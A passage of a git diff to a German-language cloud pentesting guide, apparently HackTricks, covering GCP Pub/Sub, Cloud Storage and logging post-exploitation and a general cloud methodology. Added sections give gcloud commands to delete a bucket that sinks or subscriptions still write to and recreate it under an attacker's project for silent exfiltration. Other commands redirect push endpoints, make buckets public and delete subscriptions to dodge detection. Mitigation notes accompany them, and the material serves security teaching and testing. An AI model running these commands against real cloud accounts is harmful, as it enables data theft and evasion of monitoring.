+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Allow the sink writer identity to write objects into the replacement bucket
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Mögliche Auswirkungen:** stille, langfristige Exfiltration zukünftiger Audit-Logs, Anwendungs-Logs, Security-Telemetrie und aller anderen Ereignisse, die vom Sink-Filter erfasst werden.
+
+**Erkennung & Minderung:** Alarm bei Löschung von Buckets, auf die aktive Sinks verweisen, Inventarisierung von Sink-Zielen auf verwaiste Bucket-Namen, Einschränkung von `storage.buckets.delete` auf Logging-Ziele und Schutz von Export-Buckets mit Retention-/Hold-Kontrollen, wo möglich.
+
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
index 13be0fe56..f07f5ca80 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Pub/Sub
 
-Für mehr Informationen über Pub/Sub siehe die folgende Seite:
+Für weitere Informationen über Pub/Sub siehe die folgende Seite:
 
 {{#ref}}
 ../gcp-services/gcp-pub-sub.md
@@ -12,7 +12,7 @@ Für mehr Informationen über Pub/Sub siehe die folgende Seite:
 
 ### `pubsub.topics.publish`
 
-Publiziert eine Nachricht in einem Topic, nützlich um **unerwartete Daten zu senden** und unerwartete Funktionalitäten auszulösen oder Schwachstellen auszunutzen:
+Eine Nachricht in einem Topic veröffentlichen, nützlich, um **unerwartete Daten zu senden** und unerwartete Funktionen auszulösen oder Schwachstellen auszunutzen:
 
 <details>
 
@@ -25,7 +25,7 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
 
 ### `pubsub.topics.detachSubscription`
 
-Nützlich, um zu verhindern, dass eine subscription Nachrichten empfängt, möglicherweise um die Erkennung zu vermeiden.
+Nützlich, um zu verhindern, dass eine Subscription Nachrichten empfängt, möglicherweise um Entdeckung zu vermeiden.
 
 <details>
 
@@ -37,8 +37,8 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.topics.delete`
 
-Nützlich, um zu verhindern, dass eine subscription Nachrichten erhält, möglicherweise um eine Erkennung zu vermeiden.\
-Es ist möglich, ein topic zu löschen, selbst wenn daran subscriptions angehängt sind.
+Nützlich, um zu verhindern, dass eine subscription Nachrichten empfängt, möglicherweise um detection zu vermeiden.\
+Es ist möglich, ein topic auch dann zu löschen, wenn daran subscriptions angehängt sind.
 
 <details>
 
@@ -50,11 +50,11 @@ gcloud pubsub topics delete <TOPIC NAME>
 
 ### `pubsub.topics.update`
 
-Nutze diese Berechtigung, um eine Einstellung des Topics zu ändern und es dadurch zu stören, z. B. `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
+Verwende diese Berechtigung, um einige Einstellungen des Topics zu ändern und es so zu stören, wie `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
 
 ### `pubsub.topics.setIamPolicy`
 
-Gib dir selbst die Berechtigung, beliebige der vorherigen Angriffe auszuführen.
+Gib dir selbst die Berechtigung, um jede der vorherigen Angriffe auszuführen.
 ```bash
 # Add Binding
 gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
@@ -95,11 +95,11 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
 ```
 </details>
 
-Erstelle eine Subscription und verwende diese, um **Nachrichten abzurufen**:
+Erstelle ein Abonnement und verwende es, um **Nachrichten zu pullen**:
 
 <details>
 
-<summary>Pull-Subscription erstellen und Nachrichten abrufen</summary>
+<summary>Erstelle ein Pull-Abonnement und rufe Nachrichten ab</summary>
 ```bash
 # This will retrive a non ACKed message (and won't ACK it)
 gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.delete`
 
-**Das Löschen einer Subscription** könnte nützlich sein, um ein Log-Processing-System oder etwas Ähnliches zu stören:
+**Eine Subscription löschen** könnte nützlich sein, um ein Log-Verarbeitungssystem oder Ähnliches zu stören:
 
 <details>
 
-<summary>Subscription löschen</summary>
+<summary>Delete subscription</summary>
 ```bash
 gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 ```
@@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.update`
 
-Verwende diese Berechtigung, um eine Einstellung zu aktualisieren, sodass Nachrichten an einem Ort gespeichert werden, auf den du zugreifen kannst (URL, Big Query table, Bucket) oder einfach um sie zu stören.
+Verwende diese Berechtigung, um eine Einstellung so zu ändern, dass Nachrichten an einem Ort gespeichert werden, auf den du zugreifen kannst (URL, Big Query table, Bucket), oder einfach, um es zu stören.
 
 <details>
 
-<summary>Subscription-Endpunkt aktualisieren</summary>
+<summary>Update subscription endpoint</summary>
 ```bash
 gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
 ```
 </details>
 
+### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete`
+
+Pub/Sub subscriptions können zugestellte Nachrichten in Cloud Storage buckets schreiben. Wenn eine subscription weiterhin auf `gs://<bucket-name>` zeigt und ein Angreifer diesen bucket löschen kann, kann der Angreifer den gleichen global eindeutigen bucket-Namen in einem anderen Projekt erneut anlegen und zukünftige Nachrichten erhalten, ohne die subscription zu ändern.
+
+Das kann nützlich sein, wenn der Angreifer `pubsub.subscriptions.update` nicht verwenden kann, aber den Ziel-bucket mit Berechtigungen wie `storage.buckets.delete`, `storage.objects.delete` und `storage.objects.list` löschen kann.
+```bash
+# Find Cloud Storage subscriptions and their destinations
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Empty and delete the destination bucket
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name under attacker control
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Grant the Pub/Sub service agent write access if delivery requires it
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.legacyBucketReader' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potentieller Impact:** exfiltration zukünftiger Pub/Sub messages, die nach Cloud Storage archiviert wurden, einschließlich application events, failed pipeline payloads, logs oder data lake ingestion records.
+
+**Detection & Mitigation:** alarmiere bei der Löschung von Buckets, die von Pub/Sub subscriptions verwendet werden, überprüfe subscriptions mit `cloudStorageConfig`, achte auf delivery errors gefolgt von bucket recreation, und beschränke destructive access auf message archival buckets.
+
 ### `pubsub.subscriptions.setIamPolicy`
 
-Gib dir die Berechtigungen, die nötig sind, um eine der zuvor beschriebenen attacks durchzuführen.
+Gib dir selbst die permissions, die nötig sind, um alle zuvor kommentierten attacks auszuführen.
 
 ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
 
-Hänge ein schema an ein topic an, sodass die messages es nicht erfüllen und dadurch das topic gestört wird.\
-Falls keine schemas vorhanden sind, musst du möglicherweise eines erstellen.
+Attacke ein schema an ein topic, sodass die messages es nicht erfüllen und das topic dadurch disrupted wird.\
+Falls es keine schemas gibt, musst du möglicherweise eins erstellen.
 
 <details>
 
-<summary>Erstelle eine schema-Datei und hänge sie an das topic an</summary>
+<summary>Create schema file and attach to topic</summary>
 ```json:schema.json
 {
 "namespace": "com.example",
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
 
 ### `pubsub.schemas.delete`
 
-Das könnte so aussehen, als würde durch das Löschen eines Schemas ermöglicht, Nachrichten zu senden, die nicht dem Schema entsprechen. Allerdings, da das Schema gelöscht wird, gelangt keine Nachricht tatsächlich in das Topic. Daher ist das **NUTZLOS**:
+Das mag wie das Löschen eines schemas erscheinen, sodass du Nachrichten senden kannst, die das schema nicht erfüllen. Da das schema jedoch gelöscht wird, gelangt tatsächlich keine Nachricht in das topic. Daher ist dies **NUTZLOS**:
 
 <details>
 
-<summary>Schema löschen (nicht nützlich)</summary>
+<summary>schema löschen (nicht nützlich)</summary>
 ```bash
 gcloud pubsub schemas delete <SCHEMA NAME>
 ```
@@ -186,15 +219,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
 
 ### `pubsub.schemas.setIamPolicy`
 
-Verschaffe dir die Berechtigungen, die nötig sind, um eine der zuvor beschriebenen Angriffe durchzuführen.
+Gib dir selbst die Berechtigungen, die nötig sind, um jede der zuvor kommentierten attacks durchzuführen.
 
 ### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
 
-Dies erstellt einen Snapshot aller unACKed messages und setzt sie wieder in die subscription zurück. Für einen Angreifer nicht sehr nützlich, aber hier ist es:
+Dies erstellt einen snapshot aller nicht ACKed messages und legt sie zurück in die subscription. Für einen attacker nicht sehr nützlich, aber hier ist es:
 
 <details>
 
-<summary>Snapshot erstellen und zu diesem seeken</summary>
+<summary>Create snapshot and seek to it</summary>
 ```bash
 gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
 --subscription=YOUR_SUBSCRIPTION_NAME
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
index 29127facb..910610cc8 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Cloud Storage
 
-Für weitere Informationen über Cloud Storage siehe diese Seite:
+Für weitere Informationen über Cloud Storage sieh dir diese Seite an:
 
 {{#ref}}
 ../gcp-services/gcp-storage-enum.md
@@ -12,7 +12,7 @@ Für weitere Informationen über Cloud Storage siehe diese Seite:
 
 ### Give Public Access
 
-Es ist möglich, externen Nutzern (mit oder ohne Login in GCP) Zugriff auf den Inhalt von buckets zu geben. Standardmäßig ist die Option, einen bucket öffentlich zugänglich zu machen, jedoch deaktiviert:
+Es ist möglich, externen Benutzern (angemeldet in GCP oder nicht) Zugriff auf den Inhalt von Buckets zu geben. Standardmäßig ist die Option jedoch deaktiviert, einen Bucket öffentlich freizugeben:
 ```bash
 # Disable public prevention
 gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,9 +25,9 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
 gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
 gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
 ```
-Wenn du versuchst, einem bucket mit deaktivierten ACLs ACLs zuzuweisen, erscheint folgender Fehler: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+Wenn du versuchst, einem Bucket mit deaktivierten ACLs **ACLs** zu geben, wirst du diesen Fehler finden: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
 
-Um auf offene buckets über den Browser zuzugreifen, rufe die URL `https://<bucket_name>.storage.googleapis.com/` oder `https://<bucket_name>.storage.googleapis.com/<object_name>` auf
+Um offene Buckets per Browser zu erreichen, rufe die URL `https://<bucket_name>.storage.googleapis.com/` oder `https://<bucket_name>.storage.googleapis.com/<object_name>` auf
 
 ### `storage.objects.delete` (`storage.objects.get`)
 
@@ -41,9 +41,41 @@ Um einen Bucket zu löschen:
 ```bash
 gcloud storage rm -r gs://<BUCKET_NAME>
 ```
-### HMAC-Schlüssel deaktivieren
+### Globale Bucket-Namensübernahme von upstream writers
 
-Die Berechtigung `storage.hmacKeys.update` erlaubt das Deaktivieren von HMAC-Schlüsseln, und die Berechtigung `storage.hmacKeys.delete` erlaubt einer Identität, HMAC-Schlüssel zu löschen, die mit Dienstkonten in Cloud Storage verknüpft sind.
+Cloud Storage bucket names sind global eindeutig. Vor dem Löschen eines buckets sollte geprüft werden, ob irgendein automatisierter Dienst weiterhin per Name in diesen bucket schreibt. Wenn der bucket gelöscht und derselbe Name in einem vom Angreifer kontrollierten Projekt neu erstellt wird, können upstream writers wie Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions oder Storage Transfer Service jobs weiterhin zukünftige Daten in den ersetzten bucket schreiben.
+```bash
+# Cloud Logging sinks using GCS
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,writerIdentity)'
+
+# Pub/Sub subscriptions writing messages into GCS
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Storage Transfer Service jobs
+gcloud transfer jobs list --project <PROJECT_ID>
+
+# Delete and reclaim the destination bucket name
+gcloud storage rm -r gs://<BUCKET_NAME>
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+```
+Gewähre der relevanten Writer-Identität Zugriff auf den Ersatz-Bucket, wenn der Upstream-Service dies erfordert:
+```bash
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='<WRITER_IDENTITY_MEMBER>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potenzielle Auswirkung:** langfristige Exfiltration von Logs, Nachrichten, Transfer-Outputs, Backups oder Data-Pipeline-Artefakten, ohne die ursprüngliche Router-Ressource zu ändern.
+
+**Detection & Mitigation:** behandle Bucket-Löschung als hohes Risiko, wenn der Bucket von sinks/subscriptions/jobs referenziert wird, alarmiere bei dangling destinations, beschränke `storage.buckets.delete` und verwende Retention Policies oder Legal Holds für kritische Export-Buckets, wenn angemessen.
+
+### Deactivate HMAC Keys
+
+Die `storage.hmacKeys.update` Berechtigung erlaubt das Deaktivieren von HMAC keys, und die `storage.hmacKeys.delete` Berechtigung erlaubt einer Identity, HMAC keys zu löschen, die mit service accounts in Cloud Storage verknüpft sind.
 ```bash
 # Deactivate
 gcloud storage hmac update <ACCESS_ID> --deactivate
@@ -52,20 +84,19 @@ gcloud storage hmac update <ACCESS_ID> --deactivate
 gcloud storage hmac delete <ACCESS_ID>
 ```
 ### `storage.buckets.setIpFilter` & `storage.buckets.update`
+Die Berechtigung `storage.buckets.setIpFilter` erlaubt zusammen mit der Berechtigung `storage.buckets.update` einer Identität, IP-Adressfilter für einen Cloud Storage-Bucket zu konfigurieren und festzulegen, welche IP-Bereiche oder Adressen auf die Ressourcen des Buckets zugreifen dürfen.
 
-Die Berechtigung `storage.buckets.setIpFilter` zusammen mit der Berechtigung `storage.buckets.update` erlaubt einer Identität, IP-Adressfilter auf einem Cloud Storage bucket zu konfigurieren und festzulegen, welche IP-Bereiche oder -Adressen Zugriff auf die Ressourcen des Buckets haben.
-
-Um den IP-Filter vollständig zu löschen, kann der folgende Befehl verwendet werden:
+Um den IP-Filter vollständig zu entfernen, kann der folgende Befehl verwendet werden:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
 ```
-Um die gefilterten IP-Adressen zu ändern, kann der folgende Befehl verwendet werden:
+Um die gefilterten IPs zu ändern, kann der folgende Befehl verwendet werden:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> \
 --ip-filter-file=ip-filter.json \
 --project=<PROJECT_ID>
 ```
-Die JSON-Datei repräsentiert den Filter selbst, etwa so:
+Die JSON-Datei stellt den Filter selbst dar, etwa so:
 ```bash
 {
 "mode": "Enabled",
@@ -77,7 +108,7 @@ Die JSON-Datei repräsentiert den Filter selbst, etwa so:
 }
 ```
 ### `storage.buckets.restore`
-Einen Bucket wiederherstellen mit:
+Stelle einen Bucket wieder her mit:
 ```bash
 gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
 --project=<PROJECT_ID>
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 09ba55ed5..a2172bf95 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting Cloud Methodologie
+# Pentesting Cloud Methodology
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,39 +6,65 @@
 
 ## Grundlegende Methodik
 
-Jede Cloud hat ihre eigenen Besonderheiten, aber im Allgemeinen gibt es ein paar **gemeinsame Dinge, die ein pentester prüfen sollte**, wenn er eine Cloud-Umgebung testet:
+Jede cloud hat ihre eigenen Besonderheiten, aber im Allgemeinen gibt es einige **gemeinsame Dinge, die ein pentester bei der Prüfung einer cloud-Umgebung überprüfen sollte**:
 
 - **Benchmark checks**
-- Dies hilft dir, die Größe der Umgebung und die genutzten Services zu verstehen
-- Es ermöglicht dir außerdem, einige schnelle Fehlkonfigurationen zu finden, da du die meisten dieser Tests mit automatisierten Tools durchführen kannst
+- Das hilft dir dabei, die **Größe** der Umgebung und die **verwendeten services** zu verstehen
+- Es ermöglicht dir außerdem, einige **schnelle Fehlkonfigurationen** zu finden, da du die meisten dieser tests mit **automatisierten tools** durchführen kannst
 - **Services Enumeration**
-- Wenn du die Benchmark-Tests korrekt durchgeführt hast, wirst du hier wahrscheinlich nicht viele zusätzliche Fehlkonfigurationen finden, aber möglicherweise solche, die im Benchmark-Test nicht explizit gesucht wurden.
-- Dies ermöglicht dir, genau zu wissen, was in der Cloud-Umgebung verwendet wird
-- Das hilft enorm für die nächsten Schritte
+- Wahrscheinlich wirst du hier nicht viel mehr Fehlkonfigurationen finden, wenn du die Benchmark tests korrekt durchgeführt hast, aber du könntest einige entdecken, nach denen im Benchmark test nicht gesucht wurde.
+- Das hilft dir zu erkennen, **was genau in der cloud env verwendet wird**
+- Das hilft sehr bei den nächsten Schritten
 - **Check exposed assets**
-- Dies kann während des vorherigen Abschnitts erfolgen; du musst alles finden, was potenziell irgendwie dem Internet ausgesetzt ist und wie darauf zugegriffen werden kann.
-- Hier beziehe ich mich auf manuell exponierte Infrastruktur wie instances mit Webseiten oder anderen offenen Ports und auch auf andere cloud-managed Services, die so konfiguriert werden können, dass sie exponiert sind (z. B. DBs oder buckets)
-- Danach solltest du prüfen, ob diese Ressource exponiert werden kann oder nicht (vertrauliche Informationen? vulnerabilities? Fehlkonfigurationen im exponierten Service?)
+- Das kann während des vorherigen Abschnitts gemacht werden, du musst **alles herausfinden, was potenziell** auf irgendeine Weise für das Internet **offengelegt** ist und wie darauf zugegriffen werden kann.
+- Hier meine ich **manuell exponierte Infrastruktur** wie Instances mit Web pages oder andere exponierte ports, und auch andere **cloud managed services, die konfiguriert werden können**, um exponiert zu sein (wie DBs oder buckets)
+- Dann solltest du prüfen, **ob diese resource exponiert werden kann oder nicht** (confidential information? vulnerabilities? misconfigurations im exponierten service?)
 - **Check permissions**
-- Hier solltest du alle Berechtigungen jedes Roles/Users innerhalb der Cloud ermitteln und wie sie verwendet werden
-- Zu viele hoch privilegierte (kontrollieren alles) Konten? Generierte Keys, die nicht verwendet werden?... Die meisten dieser Checks sollten bereits in den Benchmark-Tests durchgeführt worden sein
-- Wenn der Kunde OpenID oder SAML oder eine andere Federation verwendet, musst du ihn möglicherweise um weitere Informationen darüber bitten, wie jede Rolle zugewiesen wird (es ist nicht dasselbe, ob die Admin-Rolle 1 User oder 100 Usern zugewiesen ist)
-- Es reicht nicht aus herauszufinden, welche Nutzer Admin-Berechtigungen "\*:\*" haben. Es gibt viele andere Berechtigungen, die je nach genutzten Services sehr sensibel sein können.
-- Darüber hinaus gibt es potenzielle privesc-Wege, die man durch Missbrauch von Berechtigungen verfolgen kann. All diese Dinge sollten berücksichtigt werden und möglichst viele privesc-Pfade sollten gemeldet werden.
+- Hier solltest du **alle permissions jeder role/user** innerhalb der cloud herausfinden und wie sie verwendet werden
+- Zu **viele hoch privilegierte** (kontrollieren alles) accounts? Generierte keys nicht verwendet?... Die meisten dieser checks sollten bereits in den Benchmark tests durchgeführt worden sein
+- Wenn der client OpenID oder SAML oder andere **federation** verwendet, musst du ihn möglicherweise um weitere **information** darüber bitten, **wie jede role zugewiesen wird** (es ist nicht dasselbe, ob die admin role einem user oder 100 zugewiesen ist)
+- Es reicht **nicht aus, herauszufinden**, welche users admin permissions "\*:\*" haben. Es gibt viele **andere permissions**, die je nach den verwendeten services sehr **sensitiv** sein können.
+- Außerdem gibt es **potenzielle privesc**-Wege, die durch das Missbrauchen von permissions verfolgt werden können. All diese Dinge sollten berücksichtigt werden und es sollten **so viele privesc paths wie möglich** gemeldet werden.
 - **Check Integrations**
-- Sehr wahrscheinlich werden Integrationen mit anderen Clouds oder SaaS innerhalb der Cloud-Umgebung verwendet.
-- Für Integrationen der Cloud, die du auditierst, mit anderen Plattformen solltest du benachrichtigen, wer Zugang hat, diese Integration (ab)zunutzen, und du solltest fragen, wie sensibel die durchgeführte Aktion ist.\
-Zum Beispiel: Wer kann in einen AWS bucket schreiben, aus dem GCP Daten bezieht (frage, wie sensibel die Aktion in GCP im Umgang mit diesen Daten ist).
-- Für Integrationen innerhalb der Cloud, die du auditierst, aus externen Plattformen heraus, solltest du fragen, wer externen Zugang hat, diese Integration (ab)zunutzen, und prüfen, wie diese Daten verwendet werden.\
-Zum Beispiel: Wenn ein Service ein Docker image verwendet, das in GCR gehostet wird, solltest du fragen, wer Zugriff hat, dieses Image zu modifizieren und welche sensitiven Informationen und Zugriffe dieses Image beim Ausführen innerhalb einer AWS-Cloud erhalten würde.
+- Es ist sehr wahrscheinlich, dass **integrations mit anderen clouds oder SaaS** in der cloud env verwendet werden.
+- Für **integrations der cloud, die du prüfst**, mit anderen platformen solltest du mitteilen, **wer Zugriff hat, um diese integration zu (miss)brauchen**, und du solltest fragen, **wie sensitiv** die ausgeführte action ist.\
+Zum Beispiel, wer in einen AWS bucket schreiben kann, aus dem GCP Daten bezieht (frage, wie sensibel die action in GCP ist, die diese Daten behandelt).
+- Für **integrations innerhalb der cloud, die du prüfst** von externen platformen solltest du fragen, **wer externen Zugriff hat, um diese integration zu (miss)brauchen**, und prüfen, wie diese Daten verwendet werden.\
+Zum Beispiel, wenn ein service ein Docker image verwendet, das in GCR gehostet wird, solltest du fragen, wer es ändern kann und welche sensiblen info und access dieses image erhält, wenn es innerhalb einer AWS cloud ausgeführt wird.
+
+### Hunt autonomous data streams writing to globally-unique storage
+
+During post-exploitation, review long-lived exports such as log sinks, subscriptions, replication jobs, Firehose streams, and diagnostic settings that write to buckets or storage accounts by globally-unique name. If the destination can be deleted and the same name can be recreated under attacker control, the upstream service might keep delivering sensitive data to the replacement destination even when the attacker cannot update the router resource itself.
+
+Focus this check in the relevant service pages:
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+{{#endref}}
+
+{{#ref}}
+azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+{{#endref}}
 
 ## Multi-Cloud tools
 
-Es gibt mehrere Tools, die verwendet werden können, um verschiedene Cloud-Umgebungen zu testen. Die Installationsschritte und Links werden in diesem Abschnitt angegeben.
+Es gibt mehrere tools, die verwendet werden können, um verschiedene cloud-Umgebungen zu testen. Die Installationsschritte und links werden in diesem Abschnitt angegeben.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
+Ein tool, um **bad configurations und privesc path in clouds und across clouds/SaaS zu identifizieren.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Unterstützt **AWS, GCP & Azure**. Prüfe, wie du jeden Anbieter in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) konfigurierst.
+Es unterstützt **AWS, GCP & Azure**. Prüfe, wie jeder Provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) konfiguriert wird
 ```bash
 # Install
 pip install prowler
@@ -170,7 +196,7 @@ steampipe check all
 
 <summary>Alle Projekte prüfen</summary>
 
-Um alle Projekte zu prüfen, müssen Sie die Datei `gcp.spc` erstellen, die alle zu testenden Projekte angibt. Sie können einfach den Anweisungen des folgenden Skripts folgen.
+Um alle Projekte zu prüfen, musst du die `gcp.spc`-Datei generieren, die alle zu testenden Projekte angibt. Du kannst einfach den Anweisungen aus dem folgenden Script folgen
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Um **andere GCP-Einblicke** zu prüfen (nützlich zum Aufzählen von Diensten), verwende: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Um **andere GCP-Insights** zu prüfen (nützlich für das Enumerieren von Services), verwende: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-Um Terraform GCP-Code zu prüfen: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Um Terraform GCP code zu prüfen: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
-Weitere GCP-Plugins von Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Mehr GCP-Plugins von Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
 
 {{#tab name="AWS" }}
@@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Zum Prüfen von Terraform AWS-Code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-Weitere AWS-Plugins von Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Benötigt python2.7 und scheint nicht mehr gewartet zu werden.
+Es erfordert python2.7 und scheint nicht mehr gepflegt zu werden.
 
 ### Nessus
 
-Nessus bietet einen _**Audit Cloud Infrastructure**_-Scan, der folgende Plattformen unterstützt: AWS, Azure, Office 365, Rackspace, Salesforce. Für **Azure** sind einige zusätzliche Konfigurationen erforderlich, um eine **Client Id** zu erhalten.
+Nessus hat einen _**Audit Cloud Infrastructure**_ Scan, der unterstützt: AWS, Azure, Office 365, Rackspace, Salesforce. Einige zusätzliche Konfigurationen in **Azure** sind nötig, um eine **Client Id** zu erhalten.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist ist ein **Multi-Cloud-Tool zum Ermitteln von Assets** (Hostnames, IP-Adressen) von Cloud-Providern.
+Cloudlist ist ein **multi-cloud tool zum Abrufen von Assets** (Hostnames, IP Addresses) von Cloud Providers.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +291,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography ist ein Python-Tool, das Infrastruktur-Assets und die Beziehungen zwischen ihnen in einer intuitiven Graph-Ansicht konsolidiert, die von einer Neo4j-Datenbank angetrieben wird.
+Cartography ist ein Python-Tool, das Infrastruktur-Assets und die Beziehungen zwischen ihnen in einer intuitiven Graphenansicht zusammenführt, angetrieben von einer Neo4j-Datenbank.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +328,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
